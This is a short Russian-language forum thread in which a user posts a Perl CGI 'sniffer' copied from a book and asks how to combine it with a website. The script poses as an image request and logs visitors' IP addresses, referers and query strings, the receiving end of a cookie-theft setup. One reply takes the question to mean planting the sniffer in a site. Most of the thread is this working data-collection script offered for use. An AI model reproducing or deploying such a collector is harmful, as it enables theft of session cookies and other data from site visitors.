перл и html

[живой]

люди я тут сниффер на html написал правда по книжке.зацените все правильно или нет???а можна его с html сайтом слить?у меня не получаеться!!!! вот он:#!/usr/bin/perl
$LogFile="log.txt";
$mlength=150;
print "Location: image.gif\n\n";
read(STDIN, $input, $ENV{'CONTENT_LENGTH'});
$input = $ENV{'QUERY_STRING'} if $ENV{'QUERY_STRING'};
$input =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$now_string = localtime;
$ref = $ENV{'HTTP_REFERER'};
open (LOG,"$LogFile") || die "Can't Open $LogFile: $!\n";
@LOGtext=<LOG>;
close (LOG);
open (LOG, ">$LogFile");
print LOG "[$now_string] IP=$ENV{'REMOTE_ADDR'} REFERER=$ref QUERY=$input\n";
$counter=1;
foreach $LOGitem (@LOGtext)
{
if ($counter<$mlength){ print LOG "$LOGitem"; };
$counter++;
};
close (LOG);
exit;

[satana8920]

какой же это ХТМЛ это перл чистой воды =\
и как понять слить с ХТМЛ?

[zythar]

батя. ты сам то понимаешь что ты написал? или тупо копипастил?

[biophreak]

под "слить" - он, видимо, подразумевал "вставку сниффера в сайт" =)))
use Google;

ЗЫЖ А насчет перла - для себя запомни что такое use warnings, use strict и use diagnostics